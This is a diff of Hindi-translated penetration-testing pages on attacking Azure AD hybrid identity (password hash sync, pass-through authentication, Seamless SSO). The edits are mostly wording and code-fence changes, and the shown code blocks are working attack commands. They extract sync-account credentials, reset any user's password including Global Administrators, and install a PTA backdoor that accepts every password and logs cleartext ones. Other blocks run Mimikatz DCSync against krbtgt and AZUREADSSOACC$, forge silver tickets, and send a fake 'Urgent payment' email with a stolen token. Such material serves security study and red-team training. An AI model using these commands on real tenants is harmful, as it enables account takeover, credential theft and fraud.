@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
``` ```
यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं का ImmutableID बनाया जाए और उनकी नकल की जाए। यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं का ImmutableID बनाया जाए और उनकी नकल की जाए।
```powershell ```bash
# Create a realistic ImmutableID and set it for a cloud only user # Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray()) [System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
@@ -4,43 +4,43 @@
## Basic Information ## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **पासवर्ड हैश समन्वय** हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। **Azure AD Connect** एक ऑन-प्रिमिस सक्रिय निर्देशिका उदाहरण से एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है। [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** एक साइन-इन विधियों में से एक है जिसका उपयोग हाइब्रिड पहचान को पूरा करने के लिए किया जाता है। **Azure AD Connect** एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक ऑन-प्रिमिस एक्टिव डायरेक्टरी उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है।
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
यह **कंपनियों द्वारा उपयोग किया जाने वाला सबसे सामान्य तरीका** है जो ऑन-प्रिम AD को Azure AD के साथ समन्वयित करता है। यह कंपनियों द्वारा ऑन-प्रिम AD को Azure AD के साथ समन्वयित करने के लिए उपयोग की जाने वाली **सबसे सामान्य विधि** है।
सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-पाठ पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते।\ सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-टेक्स्ट पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते।\
इसके अलावा, **निर्मित** सुरक्षा समूह (जैसे डोमेन प्रशासक...) **Azure AD में समन्वयित नहीं होते** इसके अलावा, **बिल्ट-इन** सुरक्षा समूह (जैसे डोमेन एडमिन...) **Azure AD में समन्वयित नहीं होते**
**हैश समन्वय** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है। **हैश समन्वय** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है** जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**
**PHS** की आवश्यकता होती है जैसे **पहचान सुरक्षा** और AAD डोमेन सेवाओं के लिए। **PHS** की आवश्यकता होती है जैसे **Identity Protection** और AAD Domain Services के लिए।
## Pivoting ## Pivoting
जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशिष्ट खाते** स्वचालित रूप से **बनाए** जाते हैं: जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशिष्ट खाते** स्वचालित रूप से **बनाए जाते हैं**:
- खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **डायरेक्टरी समन्वय खाते** की भूमिका दी जाती है (देखें [दस्तावेज़](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं** - खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं**
- एक खाता **`Sync_<name of on-prem ADConnect Server>_installationID`** Azure AD में बनाया जाता है। इस खाते को Azure AD में **किसी भी उपयोगकर्ता** (समन्वयित या केवल क्लाउड) का पासवर्ड **रीसेट** करने की अनुमति है। - एक खाता **`Sync_<name of on-prem ADConnect Server>_installationID`** Azure AD में बनाया जाता है। इस खाते को Azure AD में **किसी भी उपयोगकर्ता** (समन्वयित या केवल क्लाउड) का पासवर्ड **रीसेट** करने की अनुमति है।
इन दो पूर्व विशेषाधिकार प्राप्त खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-पाठ में उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\ इन दो पिछले विशेषाधिकार वाले खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-टेक्स्ट में उन विशेषाधिकार वाले उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\
डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है। डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है।
एक टेबल में से कॉन्फ़िगरेशन निकालना संभव है, जिसमें से एक एन्क्रिप्टेड है: एक टेबल से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्टेड है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है। **एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है।
आप इस [बातचीत में देख सकते हैं कि ये क्रेडेंशियल्स कैसे संग्रहीत और डिक्रिप्ट कि जाते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg) आप इस [बातचीत में इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)
### Finding the **Azure AD connect server** ### Finding the **Azure AD connect server**
यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा है (दस्तावेज़ में अनुशंसित), तो इसे निम्नलिखित के साथ ढूंढना संभव है: यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा है (जो दस्तावेज़ों में अनुशंसित है), तो इसे खोजने के लिए संभव है:
```powershell ```bash
# ActiveDirectory module # ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
``` ```
### MSOL\_\* का दुरुपयोग ### MSOL\_\* का दुरुपयोग
```powershell ```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials Get-AADIntSyncCredentials
@@ -62,7 +62,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
### Sync\_\* का दुरुपयोग ### Sync\_\* का दुरुपयोग
**`Sync_*`** खाते से समझौता करने पर किसी भी उपयोगकर्ता (जिसमें Global Administrators शामिल हैं) का **पासवर्ड रीसेट** करना संभव है। **`Sync_*`** खाते से समझौता करने पर किसी भी उपयोगकर्ता (जिसमें Global Administrators शामिल हैं) का **पासवर्ड रीसेट** करना संभव है।
```powershell ```bash
# This command, run previously, will give us alse the creds of this account # This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials Get-AADIntSyncCredentials
@@ -82,8 +82,8 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
``` ```
यह केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को **संशोधित** करना भी संभव है (भले ही यह अप्रत्याशित हो)। यह भी संभव है कि केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को संशोधित किया जाए (भले ही यह अप्रत्याशित हो)।
```powershell ```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID. # The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
@@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है। इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है।
> [!CAUTION] > [!CAUTION]
> एक और विकल्प होगा **एक सेवा प्रिंसिपल को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रिंसिपल तक पहुँच प्राप्त करना** एक तरीके के रूप में प्रिवेस्क के लिए > एक और विकल्प होगा **एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रमुख तक पहुँच प्राप्त करना** एक प्रिवेस्क के तरीके के रूप में।
### Seamless SSO ### Seamless SSO
@@ -4,7 +4,7 @@
## Basic Information ## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - एक कम पासवर्ड याद रखने के लिए, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Azure AD का उपयोग करके साइन इन करते हैं, तो यह सुविधा **उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस सक्रिय निर्देशिका के खिलाफ मान्य करती है** [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - याद रखने के लिए एक पासवर्ड कम, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Azure AD का उपयोग करके साइन इन करते हैं, तो यह सुविधा **उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस Active Directory के खिलाफ मान्य करती है**
PTA में **पहचानें** **सिंक्रनाइज़** होती हैं लेकिन **पासवर्ड** **नहीं** होते जैसे कि PHS में। PTA में **पहचानें** **सिंक्रनाइज़** होती हैं लेकिन **पासवर्ड** **नहीं** होते जैसे कि PHS में।
@@ -15,8 +15,8 @@ PTA में **पहचानें** **सिंक्रनाइज़**
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. **लॉगिन** करने के लिए उपयोगकर्ता को **Azure AD** पर पुनर्निर्देशित किया जाता है, जहां वह **उपयोगकर्ता नाम** और **पासवर्ड** भेजता है। 1. **लॉगिन** करने के लिए उपयोगकर्ता को **Azure AD** पर पुनर्निर्देशित किया जाता है, जहां वह **उपयोगकर्ता नाम** और **पासवर्ड** भेजता है।
2. **क्रेडेंशियल्स** **एन्क्रिप्ट** होते हैं और Azure AD में एक **क्यू** में सेट होते हैं। 2. **क्रेडेंशियल्स** **एन्क्रिप्ट** किए जाते हैं और Azure AD में एक **क्यू** में सेट किए जाते हैं।
3. **ऑन-प्रिम प्रमाणीकरण एजेंट** क्यू से **क्रेडेंशियल्स** इकट्ठा करता है और उन्हें **डिक्रिप्ट** करता है। इस एजेंट को **"पास-थ्रू प्रमाणीकरण एजेंट"** या **PTA एजेंट** कहा जाता है। 3. **ऑन-प्रिम प्रमाणीकरण एजेंट** क्यू से **क्रेडेंशियल्स** इकट्ठा करता है और उन्हें **डिक्रिप्ट** करता है। इस एजेंट को **"Pass-through authentication agent"** या **PTA एजेंट** कहा जाता है।
4. **एजेंट** **क्रेड्स** को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा करता है** 4. **एजेंट** **क्रेड्स** को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा करता है**
> [!WARNING] > [!WARNING]
@@ -26,14 +26,14 @@ PTA में **पहचानें** **सिंक्रनाइज़**
### On-Prem -> cloud ### On-Prem -> cloud
यदि आपके पास **Azure AD Connect सर्वर** पर **PTA** **एजेंट** चलाने के लिए **व्यवस्थापक** पहुंच है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को **मान्य** करेगा (तो सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे): यदि आपके पास **Azure AD Connect सर्वर** पर **PTA** **एजेंट** चलाने के लिए **व्यवस्थापक** पहुंच है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को **मान्य** करेगा (तो सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे):
```powershell ```bash
Install-AADIntPTASpy Install-AADIntPTASpy
``` ```
> [!NOTE] > [!NOTE]
> यदि **स्थापना विफल होती है**, तो यह शायद [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) की कमी के कारण है। > यदि **स्थापना विफल होती है**, तो यह संभवतः [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) की कमी के कारण है।
यह भी संभव है कि **PTA एजेंट को भेजे गए स्पष्ट-पाठ पासवर्ड देखें** निम्नलिखित cmdlet का उपयोग करके उस मशीन पर जहां पिछल बैकडोर को स्थापित किया गया था: यह भी संभव है कि **PTA एजेंट को भेजे गए स्पष्ट-पाठ पासवर्ड देखें** निम्नलिखित cmdlet का उपयोग करके उस मशीन पर जहां पिछल बैकडोर स्थापित किया गया था:
```powershell ```bash
Get-AADIntPTASpyLog -DecodePasswords Get-AADIntPTASpyLog -DecodePasswords
``` ```
यह बैकडोर करेगा: यह बैकडोर करेगा:
@@ -48,11 +48,11 @@ Get-AADIntPTASpyLog -DecodePasswords
### क्लाउड -> ऑन-प्रेम ### क्लाउड -> ऑन-प्रेम
> [!CAUTION] > [!CAUTION]
> क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, इसे **हमलावर द्वारा नियंत्रित मशीन** पर सेट करके **एक नया PTA एजेंट** **पंजीकृत** करना संभव है। एक बार जब एजेंट **सेटअप** हो जाता है, तो हम **किसी भी पासवर्ड** का उपयोग करके **प्रमाणित** करने के लिए **पिछले** चरणों को **दोहरा** सकते हैं और साथ ही, **स्पष्ट-टेक्स्ट में पासवर्ड प्राप्त कर सकते हैं।** > क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, इसे **हमलावर द्वारा नियंत्रित मशीन** पर सेट करके **एक नया PTA एजेंट** पंजीकृत करना संभव है। एक बार जब एजेंट **सेटअप** हो जाता है, तो हम **किसी भी पासवर्ड** का उपयोग करके **प्रमाणित** करने के लिए **पिछले** चरणों को **दोहरा** सकते हैं और साथ ही, **स्पष्ट-टेक्स्ट में पासवर्ड प्राप्त कर सकते हैं।**
### सहज SSO ### निर्बाध SSO
यह PTA के साथ सहज SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें: PTA के साथ निर्बाध SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे देखें:
{{#ref}} {{#ref}}
seamless-sso.md seamless-sso.md
@@ -8,20 +8,20 @@
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure> <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
बुनियादी रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं** आधारभूत रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं**
यह [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) दोनों द्वारा समर्थित है। यह [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) दोनों द्वारा समर्थित है।
डेस्कटॉप SSO **प्रमाणीकरण के लिए Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता बनाता है जिसे AZUREADSSOACC`$`** कहा जाता है ऑन-प्रिम AD में। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Azure AD को स्पष्ट पाठ के रूप में भेजा जाता है** डेस्कटॉप SSO **प्रमाणीकरण** के लिए **Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता बनाता है जिसे AZUREADSSOACC`$`** कहा जाता है ऑन-प्रिम AD में। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Azure AD को स्पष्ट पाठ के रूप में भेजा जाता है**
**Kerberos टिकट** **पासवर्ड के NTHash (MD4)** का उपयोग करके **एन्क्रिप्टेड** होते हैं और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है। **Kerberos टिकट** **पासवर्ड के **NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Azure AD भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
**Azure AD** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है। **Azure AD** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
### On-prem -> cloud ### On-prem -> cloud
उपयोगकर्ता का **पासवर्ड** **`AZUREADSSOACC$` कभी नहीं बदलता**। इसलिए, एक डोमेन प्रशासक **इस खाते के हैश को समझौता कर सकता है**, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रिम उपयोगकर्ता को सिंक किया जा सके**: उपयोगकर्ता का **पासवर्ड** **`AZUREADSSOACC$` कभी नहीं बदलता**। इसलिए, एक डोमेन प्रशासक **इस खाते के हैश को समझौता** कर सकता है, और फिर इसका उपयोग **सिल्वर टिकट बनाने** के लिए कर सकता है ताकि **किसी भी ऑन-प्रिम उपयोगकर्ता को सिंक** करके Azure से कनेक्ट किया जा सके:
```powershell ```bash
# Dump hash using mimikatz # Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -38,8 +38,8 @@ Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
``` ```
हैश के साथ आप अब **सिल्वर टिकट्स** बना सकते हैं: अब आप हैश के साथ **सिल्वर टिकट** **जनरेट** कर सकते हैं:
```powershell ```bash
# Get users and SIDs # Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -53,18 +53,18 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email ## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap." Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
``` ```
चांदी के टिकट का उपयोग करने के लिए, निम्नलिखित चरणों का पालन किया जाना चाहिए: To utilize the silver ticket, the following steps should be executed:
1. **ब्राउज़र प्रारंभ करें:** Mozilla Firefox लॉन्च किया जाना चाहिए। 1. **ब्राउज़र प्रारंभ करें:** Mozilla Firefox को लॉन्च किया जाना चाहिए।
2. **ब्राउज़र कॉन्फ़िगर करें:** 2. **ब्राउज़र कॉन्फ़िगर करें:**
- **`about:config`** पर जाएं। - **`about:config`** पर जाएं।
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) के लिए वरीयता को निर्दिष्ट [मानों](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) पर सेट करें: - [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) के लिए प्रेफरेंस को निर्दिष्ट [मानों](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) पर सेट करें:
- `https://aadg.windows.net.nsatc.net` - `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com` - `https://autologon.microsoftazuread-sso.com`
3. **वेब एप्लिकेशन तक पहुँचें:** 3. **वेब एप्लिकेशन तक पहुँचें:**
- एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण [Office 365](https://portal.office.com/) है - एक वेब एप्लिकेशन पर जाएं जो संगठन के AAD डोमेन के साथ एकीकृत है। एक सामान्य उदाहरण है [Office 365](https://portal.office.com/)।
4. **प्रमाणीकरण प्रक्रिया:** 4. **प्रमाणीकरण प्रक्रिया:**
- लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज करें, पासवर्ड फ़ील्ड को खाली छोड़ दें - लॉगिन स्क्रीन पर, उपयोगकर्ता नाम दर्ज किया जाना चाहिए, पासवर्ड फ़ील्ड को खाली छोड़ते हुए
- आगे बढ़ने के लिए, TAB या ENTER दबाएं। - आगे बढ़ने के लिए, TAB या ENTER दबाएं।
> [!TIP] > [!TIP]
@@ -72,18 +72,18 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
#### विकल्प 2 बिना dcsync - SeamlessPass #### विकल्प 2 बिना dcsync - SeamlessPass
यह हमला **dcsync हमले के बिना** करना भी संभव है ताकि अधिक छिपा रह सके, जैसा कि [इस ब्लॉग पोस्ट](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) में समझाया गया है। इसके लिए आपको केवल निम्नलिखित में से एक की आवश्यकता है: यह हमला **dcsync हमले के बिना** करना भी संभव है ताकि अधिक छिपा रह सके जैसा कि [इस ब्लॉग पोस्ट](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) में समझाया गया है। इसके लिए आपको केवल निम्नलिखित में से एक की आवश्यकता है:
- **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT प्रतिनिधित्व चाल का उपयोग करके एक प्राप्त कर सकते हैं जैसे [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)। - **एक समझौता किए गए उपयोगकर्ता का TGT:** भले ही आपके पास एक न हो लेकिन उपयोगकर्ता समझौता किया गया था, आप कई उपकरणों में लागू किए गए नकली TGT डेलीगेशन ट्रिक का उपयोग करके एक प्राप्त कर सकते हैं जैसे [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) और [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)।
- **गोल्डन टिकट**: यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं। - **गोल्डन टिकट**: यदि आपके पास KRBTGT कुंजी है, तो आप उस उपयोगकर्ता के लिए आवश्यक TGT बना सकते हैं जिसे आप हमला कर रहे हैं।
